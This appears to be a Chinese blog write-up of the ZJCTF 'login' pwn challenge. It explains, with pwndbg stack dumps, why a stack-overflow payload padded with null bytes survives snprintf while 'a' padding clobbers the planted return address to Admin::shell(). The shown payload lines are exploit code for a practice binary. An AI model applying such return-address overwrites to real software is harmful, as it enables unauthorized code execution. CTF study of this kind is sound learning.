ZJCTF_login

这道题本身难度不高,具体解题过程可以参考其他师傅的write up。这里主要记录自己做题中的一个疑惑。

构造payload的时候,为什么用‘a’填充就会报错,用‘\x00’填充就没问题?

问题出在

0x400a39    call   snprintf@plt                      <snprintf@plt>

首先看下用a填充的时候

payload = b'2jctf_pa5sw0rd\0'
payload = payload.ljust(0x48, b'a') + p64(0x400e88)

执行snprintf函数之前,栈结构如下,0x7ffe95152a98是我们希望跳转的地址

00:0000│ rsp        0x7ffe95152a30 —▸ 0x7ffe95152ab0 —▸ 0x7ffe95152c00 —▸ 0x400eb0 (__libc_csu_init) ◂— push   r15
01:0008│            0x7ffe95152a38 —▸ 0x7ffe95152b38 ◂— '2jctf_pa5sw0rd'
02:0010│            0x7ffe95152a40 —▸ 0x6021b8 (login+88) ◂— '2jctf_pa5sw0rd'
03:0018│            0x7ffe95152a48 —▸ 0x7ffe95152ad0 —▸ 0x7ffe95152a98 —▸ 0x400e88 (Admin::shell()) ◂— push   rbp
04:0020│ rcx rdi r8 0x7ffe95152a50 ◂— '2jctf_pa5sw0rd'
05:0028│            0x7ffe95152a58 ◂— 0x6100647230777335 /* '5sw0rd' */
06:0030│            0x7ffe95152a60 ◂— 0x6161616161616161 ('aaaaaaaa')
... ↓               6 skipped
0d:0068│            0x7ffe95152a98 —▸ 0x400e88 (Admin::shell()) ◂— push   rbp
0e:0070│            0x7ffe95152aa0 ◂— 0x0
0f:0078│            0x7ffe95152aa8 ◂— 0x8efdc4a1c20f1800
10:0080│ rbp        0x7ffe95152ab0 —▸ 0x7ffe95152c00 —▸ 0x400eb0 (__libc_csu_init) ◂— push   r15
11:0088│            0x7ffe95152ab8 —▸ 0x400bd8 (main+261) ◂— mov    eax, 0

执行后, 因为向0x7ffe95152a98开始的位置传入了50个字符,因此原栈结构被破坏

09:0048│     0x7ffe95152a78 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
... ↓        3 skipped
0d:0068│     0x7ffe95152a98 ◂— 0x61616161616161 /* 'aaaaaaa' */
0e:0070│     0x7ffe95152aa0 ◂— 0x0

snprintf函数遇到\x00时会被截断,因此当我们用\x00去填充的时候,覆盖到sprintf位置的字符串为Password accepted: Password accepted: \n,长度并不足以覆盖我们构造的返回地址,因此此时可以getshell成功。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Morphy_Amo

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值